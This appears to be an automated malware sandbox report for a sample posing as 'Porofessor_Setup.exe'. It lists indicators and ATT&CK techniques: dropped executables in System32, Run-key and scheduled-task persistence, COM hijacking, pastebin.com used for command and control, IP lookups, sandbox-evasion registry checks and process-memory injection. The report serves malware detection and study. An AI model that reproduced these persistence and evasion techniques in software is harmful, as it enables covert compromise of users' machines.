d6c2f953a4c4b2f7bf58378855bbc3d38c1b4d686118ad899540e5778413788d

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1263212995-3575756360-1418101905-1000\Control Panel\International\Geo\Nation	Porofessor_Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1263212995-3575756360-1418101905-1000\Control Panel\International\Geo\Nation	OWinstaller.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1263212995-3575756360-1418101905-1000\Control Panel\International\Geo\Nation	Node64.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 6 IoCs

pid	Process
2412	Updater.exe
3720	OWinstaller.exe
2164	Node64.exe
1716	$Node32.exe
2004	$Node2Json.exe
3140	$Node3Json.exe

Loads dropped DLL 11 IoCs

pid	Process
2412	Updater.exe
2412	Updater.exe
2412	Updater.exe
2412	Updater.exe
2412	Updater.exe
2412	Updater.exe
2412	Updater.exe
3720	OWinstaller.exe
3720	OWinstaller.exe
3720	OWinstaller.exe
3720	OWinstaller.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1263212995-3575756360-1418101905-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Node64 = "C:\\Program Files\\Node64.exe"	Porofessor_Setup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1263212995-3575756360-1418101905-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$Node32 = "C:\\Windows\\System32\\$Node32.exe"	Node64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1263212995-3575756360-1418101905-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$Node2Json = "C:\\Windows\\System32\\$Node2Json.exe"	Node64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1263212995-3575756360-1418101905-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$Node3Json = "C:\\Windows\\System32\\$Node3Json.exe"	Node64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
39	pastebin.com
40	pastebin.com
42	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Drops file in System32 directory 36 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\System32\DriverStore\FileRepository\machine.inf_amd64_72ab89a5cc3218be\machine.PNF	DxDiag.exe
File created	\??\c:\windows\system32\driverstore\filerepository\usbport.inf_amd64_230f9025c8623e5d\usbport.PNF	DxDiag.exe
File created	C:\Windows\System32\DriverStore\FileRepository\msmouse.inf_amd64_1793a485b491b199\msmouse.PNF	DxDiag.exe
File created	C:\Windows\System32\DriverStore\FileRepository\usbport.inf_amd64_230f9025c8623e5d\usbport.PNF	DxDiag.exe
File created	C:\Windows\System32\$Node2Json.exe	Node64.exe
File created	\??\c:\windows\system32\driverstore\filerepository\input.inf_amd64_71e43a6eaa912e56\input.PNF	DxDiag.exe
File created	\??\c:\windows\system32\driverstore\filerepository\keyboard.inf_amd64_5938c699b80ebb8f\keyboard.PNF	DxDiag.exe
File created	\??\c:\windows\system32\driverstore\filerepository\machine.inf_amd64_72ab89a5cc3218be\machine.PNF	DxDiag.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\System32\$Node32.exe	Node64.exe
File created	\??\c:\windows\system32\driverstore\filerepository\msmouse.inf_amd64_1793a485b491b199\msmouse.PNF	DxDiag.exe
File created	C:\Windows\System32\DriverStore\FileRepository\keyboard.inf_amd64_5938c699b80ebb8f\keyboard.PNF	DxDiag.exe
File created	\??\c:\windows\system32\driverstore\filerepository\netrtl64.inf_amd64_8e9c2368fe308df2\netrtl64.PNF	DxDiag.exe
File created	\??\c:\windows\system32\driverstore\filerepository\hdaudbus.inf_amd64_e89200d3ede2154e\hdaudbus.PNF	DxDiag.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\System32\DriverStore\FileRepository\input.inf_amd64_71e43a6eaa912e56\input.PNF	DxDiag.exe
File created	\??\c:\windows\system32\driverstore\filerepository\mshdc.inf_amd64_f6ccd5b2c8226c4a\mshdc.PNF	DxDiag.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File created	C:\Windows\System32\DriverStore\FileRepository\hdaudbus.inf_amd64_e89200d3ede2154e\hdaudbus.PNF	DxDiag.exe
File created	C:\Windows\System32\DriverStore\FileRepository\netrtl64.inf_amd64_8e9c2368fe308df2\netrtl64.PNF	DxDiag.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\System32\$Node32.exe	Node64.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\System32\$Node2Json.exe	Node64.exe
File opened for modification	C:\Windows\System32\$Node3Json.exe	Node64.exe
File created	C:\Windows\System32\DriverStore\FileRepository\mshdc.inf_amd64_f6ccd5b2c8226c4a\mshdc.PNF	DxDiag.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File created	C:\Windows\System32\$Node3Json.exe	Node64.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 908 set thread context of 620	908	powershell.EXE	117

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\WinRAR\Temp\Updater.exe	Porofessor_Setup.exe
File created	C:\Program Files\Node64.exe	Porofessor_Setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$Node32.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	DxDiag.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	DxDiag.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	DxDiag.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	DxDiag.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	DxDiag.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	DxDiag.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={48F3852C-80C8-4EFC-8BC2-B3FC8C353B59}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 02 Dec 2024 16:13:27 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1733156003"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE

Modifies registry class 36 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject.1\CLSID\ = "{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}"	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject.1\ = "DxDiagClassObject Class"	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagProvider.1\CLSID	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagProvider\CLSID	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject\CurVer\ = "DxDiag.DxDiagClassObject.1"	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagProvider\ = "DxDiagProvider Class"	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject.1	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\ProgID\ = "DxDiag.DxDiagClassObject.1"	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\VersionIndependentProgID\ = "DxDiag.DxDiagClassObject"	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagProvider	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A65B8071-3BFE-4213-9A5B-491DA4461CA7}\ProgID	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A65B8071-3BFE-4213-9A5B-491DA4461CA7}\VersionIndependentProgID	DxDiag.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1263212995-3575756360-1418101905-1000\{968C83BC-C5A3-4A77-99E9-EF552CB3CFFA}	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\ForceRemove\ = "Programmable"	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\InprocServer32\ = "C:\\Windows\\System32\\dxdiagn.dll"	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\InprocServer32\ThreadingModel = "Apartment"	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagProvider.1\ = "DxDiagProvider Class"	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\ForceRemove	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\ = "DxDiagClassObject Class"	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\ProgID	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagProvider.1	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagProvider\CurVer	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagProvider\CurVer\ = "DxDiag.DxDiagClassObject.1"	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject.1\CLSID	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A65B8071-3BFE-4213-9A5B-491DA4461CA7}\InprocServer32	DxDiag.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1263212995-3575756360-1418101905-1000\{B3E44E69-972B-40A0-B622-9184BC2F8E1C}	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject\CLSID	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject\CLSID\ = "{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}"	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject\CurVer	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\VersionIndependentProgID	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EEB1CAE3-D0B2-446E-AEDE-727AA9089A1B}\InprocServer32	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A65B8071-3BFE-4213-9A5B-491DA4461CA7}	DxDiag.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID	DxDiag.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DxDiag.DxDiagClassObject\ = "DxDiagClassObject Class"	DxDiag.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1528	schtasks.exe
2176	schtasks.exe
524	schtasks.exe
240	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1240	powershell.exe
1240	powershell.exe
3720	OWinstaller.exe
1300	DxDiag.exe
1300	DxDiag.exe
4888	powershell.exe
4888	powershell.exe
2180	powershell.exe
2180	powershell.exe
908	powershell.EXE
908	powershell.EXE
1740	powershell.exe
1740	powershell.exe
908	powershell.EXE
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe
620	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeIncreaseQuotaPrivilege	1240	powershell.exe
Token: SeSecurityPrivilege	1240	powershell.exe
Token: SeTakeOwnershipPrivilege	1240	powershell.exe
Token: SeLoadDriverPrivilege	1240	powershell.exe
Token: SeSystemProfilePrivilege	1240	powershell.exe
Token: SeSystemtimePrivilege	1240	powershell.exe
Token: SeProfSingleProcessPrivilege	1240	powershell.exe
Token: SeIncBasePriorityPrivilege	1240	powershell.exe
Token: SeCreatePagefilePrivilege	1240	powershell.exe
Token: SeBackupPrivilege	1240	powershell.exe
Token: SeRestorePrivilege	1240	powershell.exe
Token: SeShutdownPrivilege	1240	powershell.exe
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeSystemEnvironmentPrivilege	1240	powershell.exe
Token: SeRemoteShutdownPrivilege	1240	powershell.exe
Token: SeUndockPrivilege	1240	powershell.exe
Token: SeManageVolumePrivilege	1240	powershell.exe
Token: 33	1240	powershell.exe
Token: 34	1240	powershell.exe
Token: 35	1240	powershell.exe
Token: 36	1240	powershell.exe
Token: SeDebugPrivilege	3720	OWinstaller.exe
Token: SeDebugPrivilege	2164	Node64.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeIncreaseQuotaPrivilege	4888	powershell.exe
Token: SeSecurityPrivilege	4888	powershell.exe
Token: SeTakeOwnershipPrivilege	4888	powershell.exe
Token: SeLoadDriverPrivilege	4888	powershell.exe
Token: SeSystemProfilePrivilege	4888	powershell.exe
Token: SeSystemtimePrivilege	4888	powershell.exe
Token: SeProfSingleProcessPrivilege	4888	powershell.exe
Token: SeIncBasePriorityPrivilege	4888	powershell.exe
Token: SeCreatePagefilePrivilege	4888	powershell.exe
Token: SeBackupPrivilege	4888	powershell.exe
Token: SeRestorePrivilege	4888	powershell.exe
Token: SeShutdownPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeSystemEnvironmentPrivilege	4888	powershell.exe
Token: SeRemoteShutdownPrivilege	4888	powershell.exe
Token: SeUndockPrivilege	4888	powershell.exe
Token: SeManageVolumePrivilege	4888	powershell.exe
Token: 33	4888	powershell.exe
Token: 34	4888	powershell.exe
Token: 35	4888	powershell.exe
Token: 36	4888	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeIncreaseQuotaPrivilege	2180	powershell.exe
Token: SeSecurityPrivilege	2180	powershell.exe
Token: SeTakeOwnershipPrivilege	2180	powershell.exe
Token: SeLoadDriverPrivilege	2180	powershell.exe
Token: SeSystemProfilePrivilege	2180	powershell.exe
Token: SeSystemtimePrivilege	2180	powershell.exe
Token: SeProfSingleProcessPrivilege	2180	powershell.exe
Token: SeIncBasePriorityPrivilege	2180	powershell.exe
Token: SeCreatePagefilePrivilege	2180	powershell.exe
Token: SeBackupPrivilege	2180	powershell.exe
Token: SeRestorePrivilege	2180	powershell.exe
Token: SeShutdownPrivilege	2180	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe
Token: SeSystemEnvironmentPrivilege	2180	powershell.exe
Token: SeRemoteShutdownPrivilege	2180	powershell.exe
Token: SeUndockPrivilege	2180	powershell.exe
Token: SeManageVolumePrivilege	2180	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3720	OWinstaller.exe
3720	OWinstaller.exe
3720	OWinstaller.exe
1300	DxDiag.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 2412	3564	Porofessor_Setup.exe	80
